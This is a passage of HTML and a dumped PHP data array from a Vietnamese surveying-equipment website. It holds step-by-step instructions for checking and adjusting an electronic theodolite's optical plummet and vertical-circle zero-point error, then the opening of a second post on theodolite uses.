chuẩn</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay máy đi 180 độ</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trường hợp dấu “X” nằm ở tâm lưới chỉ, không cần hiệu chỉnh. Trường hợp sai lệch, tiến hành hiệu chỉnh theo chỉ dẫn dưới đây.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><img alt="hieuchinhkinhdoitam" class="wp-image-5350 size-full aligncenter" height="394" sizes="(max-width: 994px) 100vw, 994px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam-300x119.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam.png 994w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="994" /></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Dùng tuốc no vít đã cung cấp, quay vít chỉnh đưa dấu “X” đi nửa đoạn thẳng nối tâm với lưới chuẩn</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Lặp lại các bước kiểm tra</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieu chinh doi tam" class="wp-image-5351 size-full aligncenter" height="490" sizes="(max-width: 346px) 100vw, 346px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam-212x300.png 212w, http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png 346w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="346" /></a></span></span></span></p> <br /> <h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="4-sai-so-diem-0-ban-do-dung" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">4. Sai số điểm 0 bàn độ đứng</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt máy lên và cân máy</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Để ống kính ngắm về bên trái, chọn mục tiêu P tùy ý theo bàn độ ngang trong phạm vi 10 độ, và đọc giá trị góc đứng…VR</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay ngược ống kính về phía bên phải và đọc giá trị khác góc đứng…VL của mục tiêu P</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Khi VR+VL=360 độ/400G khi đặt thiên đỉnh 0 độ, hoặc khi VR+VL=180 độ/200G ( Hoặc 540 độ/600G) khi đặt ngang 0 độ, không cần hiệu chỉnh. Nếu sai khác thì phải tiến hành hiệu chỉnh theo hướng dẫn sau:</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> Sai số ngắm chuẩn phương đứng cho các góc nói trên (360 độ, 180 độ và 540 độ hoặc 400G, 200G và 600G), và liên quan tới hằng số trục đứng. Hằng số trục đứng là phần bù kép cho sai số điểm không. Chú ý rằng sai số du xích đối xứng không có quan hệ với hằng số trục đứng. Do đó, phải lấy giá trị đọc một trong hai phương thiên đỉnh 0 hoặc phương ngang 0 độ, và tiến hành kiểm tra sai số.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trước khi đo, xem lại phương góc đứng 0 độ ở dạng cài đặt tham số ban đầu</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Góc đứng hiển thị như sau thiên đỉnh 0, bất chấp cài đặt ban đầu</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Hai kiểu sai số cố định trục đứng để đặt đóng hay tắt bật tự động bù trục đứng, và ấn định trong các mục cài đặt ban đầu cho máy</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Bù sai số điểm 0 là chức năng không tính đến bật cài đặt tự động bù trục đứng</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trong khi ấn phím ký hiệu bóng đèn, bật công tắc nguồn.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Màn hình hiển thị sáng lên và giá trị hằng số trục đứng hiện thời được hiển thị.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5353 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn1-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn1-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn1-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn1.png 487w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"> Nghiêng ống kính qua phương ngang ở vị trí mặt trái để đọc giá trị góc đứng</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Góc đứng “VR” xuất hiện ở dòng trên màn hình tinh thể lỏng.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn11.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5354 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn11-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn11-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn11.png 487w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Khi ở vị trí mặt trái, ngắm mục tiêu P tùy ý, nằm trong phạm vi 10 độ theo phương ngang.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -VR mang ra giá trị góc đứng của mục tiêu P</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn12.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5355 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn12-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn12-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn12-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn12.png 482w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím (HOLD) lưu giá trị VR vào bộ nhớ</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Giá trị VR lưu giữ hiển thị ở dòng phía bên mà hình tinh thể lỏng, đồng thời VL hiển thị ở dòng dưới.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn13.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5356 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn13-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn13-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn13-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn13.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay ống kính về vị trí mặt phải và ngắm lại mục tiêu P.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Mục tiêu P có góc đứng hiển thị ở dòng dưới</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn14.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5357 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn14-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn14-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn14-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn14.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím (HOLD) lưu giá trị VL vào bộ nhớ</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Hằng số truc đứng hiển thị một giây trên cả 2 góc đứng mặt phải và trái là đưa vào</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn15.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5358 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn15-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn15-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn15-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn15.png 483w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Bù góc đứng được tính bằng một nửa hằng số trục đứng và ghi vào bộ nhớ.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn16.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5359 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn16-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn16-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn16-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn16.png 484w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím khác bên cạnh phím (HOLD) là bỏ qua tiến hành hoạt động này</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Để tiếp tục đặt bù góc trục đứng đến giá trị tốt hơn, bật tắt nguồn.</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Tiến hành hiệu chỉnh khi hằng số tự động trục đứng vượt quá 6′, thông báo “OVER” sẽ xuất hiện trên màn hình và điều khiển quay về bước 2</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn17.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5360 aligncenter" height="66" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn17-300x66.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn17-300x66.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn17.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Hằng số mới sửa sẽ được lưu giữ nguyên vẹn trong bộ nhớ thậm chí khi bật tắt nguồn. Tất cả đo góc đứng sau đó được sửa lại bằng AC mới.</span></span></span></li> </ul> ', 'images' => '20170911075630e672d20fd038cdf903acb9804399e23d.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-09-11', 'modified' => '2025-08-10', 'status' => '1', 'view' => '62562', 'slug' => 'cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '863', 'rght' => '864', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '493', 'name' => 'Một số ứng dụng của máy kinh vĩ trong trắc địa', 'code' => null, 'alias' => 'mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Máy kinh vĩ là <a href="http://tracdiapro.com/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="thiết bị đo đạc">thiết bị đo đạc</a> được dùng phổ biến trong trắc địa. <a href="http://tracdiapro.com/product-category/may-kinh-vi/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="Máy kinh vĩ">Máy kinh vĩ </a> có nhiều chức năng tiện lợi phục vụ cho công tác đo đạc của các kĩ sư trắc địa. Ngoài ra máy kinh vĩ còn có một số chức năng giống với <a href="http://tracdiapro.com/may-toan-dac-dien-tu/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="Máy toàn đạc điện tử">máy toàn đạc điện tử</a>, và có thể dùng thay thế cho các trường hợp cần thiết.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span 